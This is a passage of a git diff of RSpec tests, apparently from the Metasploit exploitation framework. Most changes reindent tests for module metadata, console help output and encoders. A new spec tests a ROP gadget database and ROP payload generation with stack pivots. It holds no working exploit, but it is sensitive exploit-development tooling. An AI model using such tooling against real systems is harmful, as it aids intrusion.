end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:mtype) { should == module_type } + its(:privileged) { should == privileged } + its(:rank) { should == rank } + its(:ready) { should == true } + its(:refname) { should == module_reference_name } + its(:stance) { should == stance } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + its(:email) { should == email } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:index) { should == index } + its(:name) { should == name } + end + end + end + end + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'admin/2wire/xslt_password_reset', + :type => 'auxiliary' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'generic/none', + :type => 'encoder' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/smb/ms08_067_netapi', + :type => 'exploit' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'x64/simple', + :type => 'nop' + + # @todo determine how to load a single payload to test payload type outside of msfconsole it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/escalate/screen_unlock', - :type => 'post' - end + :reference_name => 'windows/escalate/screen_unlock', + :type => 'post' + end - context 'without migrated' do - it 'should not create an Mdm::Module::Detail' do - expect { - update_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb index 3b98e07fd4..ad2c6e57f8 100644 --- a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb @@ -4,22 +4,22 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/auxiliary' describe Msf::Ui::Console::CommandDispatcher::Auxiliary do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:aux) do - described_class.new(driver) - end + subject(:aux) do + described_class.new(driver) + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end end diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb index f1fff484ef..69693eb5b8 100644 --- a/spec/lib/msf/ui/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/core_spec.rb @@ -5,94 +5,94 @@ require 'msf/ui/console/module_command_dispatcher' require 'msf/ui/console/command_dispatcher/core' describe Msf::Ui::Console::CommandDispatcher::Core do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:core) do - described_class.new(driver) - end + subject(:core) do + described_class.new(driver) + end - context '#search_modules_sql' do - def search_modules_sql - core.search_modules_sql(match) - end + context '#search_modules_sql' do + def search_modules_sql + core.search_modules_sql(match) + end - let(:match) do - '' - end + let(:match) do + '' + end - it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + it 'should generate Matching Modules table' do + core.should_receive(:generate_module_table).with('Matching Modules').and_call_original - search_modules_sql - end + search_modules_sql + end - it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) + it 'should call Msf::DBManager#search_modules' do + db_manager.should_receive(:search_modules).with(match).and_return([]) - search_modules_sql - end + search_modules_sql + end - context 'with matching Mdm::Module::Details' do - let(:match) do - module_detail.fullname - end + context 'with matching Mdm::Module::Details' do + let(:match) do + module_detail.fullname + end - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end - context 'printed table' do - def cell(table, row, column) - row_line_number = 6 + row - line_number = 0 + context 'printed table' do + def cell(table, row, column) + row_line_number = 6 + row + line_number = 0 - cell = nil + cell = nil - table.each_line do |line| - if line_number == row_line_number - # strip prefix and postfix - padded_cells = line[3...-1] - cells = padded_cells.split(/\s{2,}/) + table.each_line do |line| + if line_number == row_line_number + # strip prefix and postfix + padded_cells = line[3...-1] + cells = padded_cells.split(/\s{2,}/) - cell = cells[column] - break - end + cell = cells[column] + break + end - line_number += 1 - end + line_number += 1 + end - cell - end + cell + end - let(:printed_table) do - table = '' + let(:printed_table) do + table = '' - core.stub(:print_line) do |string| - table = string - end + core.stub(:print_line) do |string| + table = string + end - search_modules_sql + search_modules_sql - table - end + table + end - it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) - end + it 'should have fullname in first column' do + cell(printed_table, 0, 0).should include(module_detail.fullname) + end - it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) - end + it 'should have disclosure date in second column' do + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) + end - it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) - end + it 'should have rank name in third column' do + cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + end - it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) - end - end - end - end + it 'should have name in fourth column' do + cell(printed_table, 0, 3).should include(module_detail.name) + end + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 0543bde408..390533e779 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -4,264 +4,264 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/db' describe Msf::Ui::Console::CommandDispatcher::Db do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:db) do - described_class.new(driver) - end + subject(:db) do + described_class.new(driver) + end - describe "#cmd_workspace" do - describe "-h" do - it "should show a help message" do - db.cmd_workspace "-h" - @output.should =~ [ - "Usage:", - " workspace List workspaces", - " workspace [name] Switch workspace", - " workspace -a [name] ... Add workspace(s)", - " workspace -d [name] ... Delete workspace(s)", - " workspace -r Rename workspace", - " workspace -h Show this help information" - ] - end - end - end + describe "#cmd_workspace" do + describe "-h" do + it "should show a help message" do + db.cmd_workspace "-h" + @output.should =~ [ + "Usage:", + " workspace List workspaces", + " workspace [name] Switch workspace", + " workspace -a [name] ... Add workspace(s)", + " workspace -d [name] ... Delete workspace(s)", + " workspace -r Rename workspace", + " workspace -h Show this help information" + ] + end + end + end - describe "#cmd_hosts" do - describe "-h" do - it "should show a help message" do - db.cmd_hosts "-h" - @output.should =~ [ - "Usage: hosts [ options ] [addr1 addr2 ...]", - "OPTIONS:", - " -a,--add Add the hosts instead of searching", - " -d,--delete Delete the hosts instead of searching", - " -c Only show the given columns (see list below)", - " -h,--help Show this help information", - " -u,--up Only show hosts which are up", - " -o Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" - ] - end - end - end + describe "#cmd_hosts" do + describe "-h" do + it "should show a help message" do + db.cmd_hosts "-h" + @output.should =~ [ + "Usage: hosts [ options ] [addr1 addr2 ...]", + "OPTIONS:", + " -a,--add Add the hosts instead of searching", + " -d,--delete Delete the hosts instead of searching", + " -c Only show the given columns (see list below)", + " -h,--help Show this help information", + " -u,--up Only show hosts which are up", + " -o Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + ] + end + end + end - describe "#cmd_services" do - describe "-h" do - it "should show a help message" do - db.cmd_services "-h" - @output.should =~ [ - "Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]", - " -a,--add Add the services instead of searching", - " -d,--delete Delete the services instead of searching", - " -c Only show the given columns", - " -h,--help Show this help information", - " -s Search for a list of service names", - " -p Search for a list of ports", - " -r Only show [tcp|udp] services", - " -u,--up Only show services which are up", - " -o Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: created_at, info, name, port, proto, state, updated_at" - ] - end - end - describe "-p" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are on a given port" do - db.cmd_services "-p", "1024,1025" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " - ] - end - end - describe "-np" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { - db.cmd_services "-np", "1024" + describe "#cmd_services" do + describe "-h" do + it "should show a help message" do + db.cmd_services "-h" + @output.should =~ [ + "Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]", + " -a,--add Add the services instead of searching", + " -d,--delete Delete the services instead of searching", + " -c Only show the given columns", + " -h,--help Show this help information", + " -s Search for a list of service names", + " -p Search for a list of ports", + " -r Only show [tcp|udp] services", + " -u,--up Only show services which are up", + " -o Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: created_at, info, name, port, proto, state, updated_at" + ] + end + end + describe "-p" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are on a given port" do + db.cmd_services "-p", "1024,1025" + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 snmp open ", + "192.168.0.1 1025 snmp open " + ] + end + end + describe "-np" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are not on a given port" do + pending("refs redmine ticket #4821") { + db.cmd_services "-np", "1024" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1025 snmp open ", - "192.168.0.1 1026 snmp open " - ] - } - end - end - end + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1025 snmp open ", + "192.168.0.1 1026 snmp open " + ] + } + end + end + end - describe "#cmd_vulns" do - describe "-h" do - it "should show a help message" do - db.cmd_vulns "-h" - @output.should =~ [ - "Print all vulnerabilities in the database", - "Usage: vulns [addr range]", - " -h,--help Show this help information", - " -p,--port List vulns matching this port spec", - " -s List vulns matching these service names", - " -S,--search Search string to filter by", - " -i,--info Display Vuln Info", - "Examples:", - " vulns -p 1-65536 # only vulns with associated services", - " vulns -p 1-65536 -s http # identified as http on any port" - ] - end - end + describe "#cmd_vulns" do + describe "-h" do + it "should show a help message" do + db.cmd_vulns "-h" + @output.should =~ [ + "Print all vulnerabilities in the database", + "Usage: vulns [addr range]", + " -h,--help Show this help information", + " -p,--port List vulns matching this port spec", + " -s List vulns matching these service names", + " -S,--search Search string to filter by", + " -i,--info Display Vuln Info", + "Examples:", + " vulns -p 1-65536 # only vulns with associated services", + " vulns -p 1-65536 -s http # identified as http on any port" + ] + end + end - end + end - describe "#cmd_notes" do - describe "-h" do - it "should show a help message" do - db.cmd_notes "-h" - @output.should =~ [ - "Usage: notes [-h] [-t ] [-n ] [-a] [addr range]", - " -a,--add Add a note to the list of addresses, instead of listing", - " -d,--delete Delete the hosts instead of searching", - " -n,--note Set the data for a new note (only with -a)", - " -t Search for a list of types", - " -h,--help Show this help information", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Regular expression to match for search", - " --sort Fields to sort by (case sensitive)", - "Examples:", - " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", - " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", - " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" - ] + describe "#cmd_notes" do + describe "-h" do + it "should show a help message" do + db.cmd_notes "-h" + @output.should =~ [ + "Usage: notes [-h] [-t ] [-n ] [-a] [addr range]", + " -a,--add Add a note to the list of addresses, instead of listing", + " -d,--delete Delete the hosts instead of searching", + " -n,--note Set the data for a new note (only with -a)", + " -t Search for a list of types", + " -h,--help Show this help information", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Regular expression to match for search", + " --sort Fields to sort by (case sensitive)", + "Examples:", + " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", + " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", + " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" + ] - end - end + end + end - end + end - describe "#cmd_loot" do - describe "-h" do - it "should show a help message" do - db.cmd_loot "-h" - @output.should =~ [ - "Usage: loot ", - " Info: loot [-h] [addr1 addr2 ...] [-t ]", - " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", - " Del: loot -d [addr1 addr2 ...]", - " -a,--add Add loot to the list of addresses, instead of listing", - " -d,--delete Delete *all* loot matching host and type", - " -f,--file File with contents of the loot to add", - " -i,--info Info of the loot to add", - " -t Search for a list of types", - " -h,--help Show this help information", - " -S,--search Search string to filter by" - ] - end - end + describe "#cmd_loot" do + describe "-h" do + it "should show a help message" do + db.cmd_loot "-h" + @output.should =~ [ + "Usage: loot ", + " Info: loot [-h] [addr1 addr2 ...] [-t ]", + " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", + " Del: loot -d [addr1 addr2 ...]", + " -a,--add Add loot to the list of addresses, instead of listing", + " -d,--delete Delete *all* loot matching host and type", + " -f,--file File with contents of the loot to add", + " -i,--info Info of the loot to add", + " -t Search for a list of types", + " -h,--help Show this help information", + " -S,--search Search string to filter by" + ] + end + end - end + end - describe "#cmd_creds" do - describe "-h" do - it "should show a help message" do - db.cmd_creds "-h" - @output.should =~ [ - "Usage: creds [addr range]", - "Usage: creds -a -p -t -u -P ", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", - " -h,--help Show this help information", - " -o Send output to a file in csv format", - " -p,--port List creds matching this port spec", - " -s List creds matching these service names", - " -t,--type Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", - " creds 1.2.3.4/24 # nmap host specification", - " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" - ] - end - end - end + describe "#cmd_creds" do + describe "-h" do + it "should show a help message" do + db.cmd_creds "-h" + @output.should =~ [ + "Usage: creds [addr range]", + "Usage: creds -a -p -t -u -P ", + " -a,--add Add creds to the given addresses instead of listing", + " -d,--delete Delete the creds instead of searching", + " -h,--help Show this help information", + " -o Send output to a file in csv format", + " -p,--port List creds matching this port spec", + " -s List creds matching these service names", + " -t,--type Add a cred of this type (only with -a). Default: password", + " -u,--user Add a cred for this user (only with -a). Default: blank", + " -P,--password Add a cred with this password (only with -a). Default: blank", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Examples:", + " creds # Default, returns all active credentials", + " creds all # Returns all credentials active or not", + " creds 1.2.3.4/24 # nmap host specification", + " creds -p 22-25,445 # nmap port specification", + " creds 10.1.*.* -s ssh,smb all" + ] + end + end + end - describe "#cmd_db_import" do - describe "-h" do - it "should show a help message" do - db.cmd_db_import "-h" - @output.should =~ [ - "Usage: db_import [file2...]", - "Filenames can be globs like *.xml, or **/*.xml which will search recursively", - "Currently supported file types include:", - " Acunetix XML", - " Amap Log", - " Amap Log -m", - " Appscan XML", - " Burp Session XML", - " Foundstone XML", - " IP360 ASPL", - " IP360 XML v3", - " Microsoft Baseline Security Analyzer", - " Nessus NBE", - " Nessus XML (v1 and v2)", - " NetSparker XML", - " NeXpose Simple XML", - " NeXpose XML Report", - " Nmap XML", - " OpenVAS Report", - " Qualys Asset XML", - " Qualys Scan XML", - " Retina XML" - ] - end - end - end + describe "#cmd_db_import" do + describe "-h" do + it "should show a help message" do + db.cmd_db_import "-h" + @output.should =~ [ + "Usage: db_import [file2...]", + "Filenames can be globs like *.xml, or **/*.xml which will search recursively", + "Currently supported file types include:", + " Acunetix XML", + " Amap Log", + " Amap Log -m", + " Appscan XML", + " Burp Session XML", + " Foundstone XML", + " IP360 ASPL", + " IP360 XML v3", + " Microsoft Baseline Security Analyzer", + " Nessus NBE", + " Nessus XML (v1 and v2)", + " NetSparker XML", + " NeXpose Simple XML", + " NeXpose XML Report", + " Nmap XML", + " OpenVAS Report", + " Qualys Asset XML", + " Qualys Scan XML", + " Retina XML" + ] + end + end + end - describe "#cmd_db_export" do - describe "-h" do - it "should show a help message" do - db.cmd_db_export "-h" - @output.should =~ [ - "Usage:", - " db_export -f [-a] [filename]", - " Format can be one of: xml, pwdump" - ] - end - end - end + describe "#cmd_db_export" do + describe "-h" do + it "should show a help message" do + db.cmd_db_export "-h" + @output.should =~ [ + "Usage:", + " db_export -f [-a] [filename]", + " Format can be one of: xml, pwdump" + ] + end + end + end - describe "#db_nmap" do - it "should have some specs describing its output" - end + describe "#db_nmap" do + it "should have some specs describing its output" + end - describe "#db_rebuild_cache" do - it "should have some specs describing its output" - end + describe "#db_rebuild_cache" do + it "should have some specs describing its output" + end end diff --git a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb index a430c0c7c8..827254a914 100644 --- a/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/exploit_spec.rb @@ -4,29 +4,29 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/exploit' describe Msf::Ui::Console::CommandDispatcher::Exploit do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:exp) do - described_class.new(driver) - end + subject(:exp) do + described_class.new(driver) + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_rcheck" do - end + describe "#cmd_rcheck" do + end - describe "#cmd_rexploit" do - end + describe "#cmd_rexploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end end diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 5c7a4f7038..ace44a1564 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -12,6 +12,8 @@ describe Msf::Util::EXE do described_class end + before { pending "Pending RM#8463, fix all these these tests up." } + $framework = Msf::Simple::Framework.create( :module_types => [ Msf::MODULE_NOP ], 'DisableDatabase' => true diff --git a/spec/lib/rex/encoding/xor/byte_spec.rb b/spec/lib/rex/encoding/xor/byte_spec.rb index f9636fcf29..b52f71e98b 100644 --- a/spec/lib/rex/encoding/xor/byte_spec.rb +++ b/spec/lib/rex/encoding/xor/byte_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/byte' require 'spec_helper' describe Rex::Encoding::Xor::Byte do - it_behaves_like "an xor encoder", 1 + it_behaves_like "an xor encoder", 1 end diff --git a/spec/lib/rex/encoding/xor/dword_spec.rb b/spec/lib/rex/encoding/xor/dword_spec.rb index 01d37177a1..05253dd97e 100644 --- a/spec/lib/rex/encoding/xor/dword_spec.rb +++ b/spec/lib/rex/encoding/xor/dword_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/dword' require 'spec_helper' describe Rex::Encoding::Xor::Dword do - it_behaves_like "an xor encoder", 4 + it_behaves_like "an xor encoder", 4 end diff --git a/spec/lib/rex/encoding/xor/qword_spec.rb b/spec/lib/rex/encoding/xor/qword_spec.rb index 58b657b23f..a8ed89bf61 100644 --- a/spec/lib/rex/encoding/xor/qword_spec.rb +++ b/spec/lib/rex/encoding/xor/qword_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/qword' require 'spec_helper' describe Rex::Encoding::Xor::Qword do - it_behaves_like "an xor encoder", 8 + it_behaves_like "an xor encoder", 8 end diff --git a/spec/lib/rex/encoding/xor/word_spec.rb b/spec/lib/rex/encoding/xor/word_spec.rb index 5d5f3f9d5f..a14c45c837 100644 --- a/spec/lib/rex/encoding/xor/word_spec.rb +++ b/spec/lib/rex/encoding/xor/word_spec.rb @@ -4,5 +4,5 @@ require 'rex/encoding/xor/word' require 'spec_helper' describe Rex::Encoding::Xor::Word do - it_behaves_like "an xor encoder", 2 + it_behaves_like "an xor encoder", 2 end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb new file mode 100644 index 0000000000..a1ae61b24b --- /dev/null +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -0,0 +1,85 @@ +require 'rex/exploitation/ropdb' + +describe Rex::Exploitation::RopDb do + + subject(:ropdb) do + described_class.new + end + + context "Class methods" do + + context ".initialize" do + it "should initialize with a path of the ROP database ready" do + ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + end + end + + context ".has_rop?" do + it "should find the msvcrt ROP database" do + ropdb.has_rop?("msvcrt").should be_true + end + + it "should find the java ROP database" do + ropdb.has_rop?("java").should be_true + end + + it "should find the hxds ROP database" do + ropdb.has_rop?("hxds").should be_true + end + + it "should find the flash ROP database" do + ropdb.has_rop?("flash").should be_true + end + + it "should return false when I supply an invalid database" do + ropdb.has_rop?("sinn3r").should be_false + end + end + + context ".select_rop" do + it "should return msvcrt gadgets" do + gadgets = ropdb.select_rop('msvcrt') + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets for windows server 2003" do + gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets with a new base" do + gadgets1 = ropdb.select_rop('msvcrt') + gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) + + gadgets2[0].should_not eq(gadgets1[0]) + end + end + + context ".generate_rop_payload" do + it "should generate my ROP payload" do + ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + end + + it "should generate my ROP payload with my stack pivot" do + ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + end + end + + context ".get_safe_size" do + it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + end + + it "should return 0xfffffeff (value is modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + end + end + + context ".get_unsafe_size" do + it "should return 0xfffffc00 (contains a null byte)" do + ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + end + end + + end +end \ No newline at end of file diff --git a/spec/lib/rex/file_utils_spec.rb b/spec/lib/rex/file_utils_spec.rb index a589896831..7eba3d2f0e 100644 --- a/spec/lib/rex/file_utils_spec.rb +++ b/spec/lib/rex/file_utils_spec.rb @@ -1,60 +1,60 @@ require 'rex/file' describe Rex::FileUtils do - context "Class methods" do + context "Class methods" do - context ".normalize_win_path" do - it "should convert an absolute path as an array into Windows format" do - described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") - end + context ".normalize_win_path" do + it "should convert an absolute path as an array into Windows format" do + described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world") + end - it "should convert an absolute path as a string into Windows format" do - described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") - end + it "should convert an absolute path as a string into Windows format" do + described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world") + end - it "should convert a relative path" do - described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") - described_class.normalize_win_path('\\temp').should eq("\\temp") - described_class.normalize_win_path('temp').should eq("temp") - end + it "should convert a relative path" do + described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me") + described_class.normalize_win_path('\\temp').should eq("\\temp") + described_class.normalize_win_path('temp').should eq("temp") + end - it "should keep the trailing slash if exists" do - described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") - described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") - end + it "should keep the trailing slash if exists" do + described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\") + described_class.normalize_win_path('\\temp\\').should eq("\\temp\\") + end - it "should convert a path without reserved characters" do - described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") - end + it "should convert a path without reserved characters" do + described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test") + end - it "should convert a path without double slashes" do - described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") - described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt") - described_class.normalize_win_path('C:\\\\').should eq("C:\\") - described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\") - end - end + it "should convert a path without double slashes" do + described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows") + described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello 